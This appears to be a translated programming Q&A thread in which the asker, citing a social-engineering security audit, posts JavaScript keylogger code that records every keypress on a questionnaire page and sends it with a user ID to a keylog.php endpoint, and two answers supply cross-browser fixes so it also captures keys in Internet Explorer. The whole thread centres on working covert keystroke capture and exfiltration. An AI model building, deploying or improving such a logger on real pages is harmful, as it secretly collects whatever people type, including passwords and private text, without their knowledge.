0

我正在编写这份问卷以进行 IT 安全社会工程审计。除了所有表单字段之外,我正在尝试构建一个 javascript 键盘记录器以获取有关用户操作的更多信息。

到目前为止,键盘记录器在 FF 中效果很好,但在 IE 中效果不佳。我必须开始工作。任何帮助/想法表示赞赏。

<script>

function sendkeylog (keylog, userID) {
if (window.ActiveXObject) {
httpRequest = new ActiveXObject("Microsoft.XMLHTTP");
}
else {
httpRequest = new XMLHttpRequest();
}
httpRequest.open("GET", "keylog.php?keylog="+keylog+"&userID="+userID, true);
httpRequest.send(null);
}

keylog="";
userID="";

document.onkeypress = function savekeycode (e) {
keylog+=String.fromCharCode(e.charCode);
if ((keylog.length==5)||(event.keyCode=13)) {
var userID = "<?php echo $sID; ?>";
sendkeylog(keylog, userID);
keylog="";
userID="";
}
}

</script> 
4

2 回答 2

1

(旧)IE 不支持Event.charCode. 你可以尝试这样的事情:

document.onkeypress = function (e) {
    var evt = e || window.event,
        charCode = evt.charCode || evt.keyCode;
    keylog += String.fromCharCode(charCode);
    if ((keylog.length === 5) || (charCode === 13)) {
        ...
}

keylog同样在调用者和被调用者参数中使用相同的变量名( )可能会导致Out of memoryIE < 8 中的错误。使用命名函数表达式时可能会出现更多麻烦......

于 2013-05-31T09:15:18.253 回答
0

在编写 jquery 插件之前我已经注意到这个问题 - 请尝试使用

String.fromCharCode(event.which)

而不是 keycode.. 它适用于 IE 6 + 所有其他浏览器..

谢谢。

于 2013-05-31T09:34:00.137 回答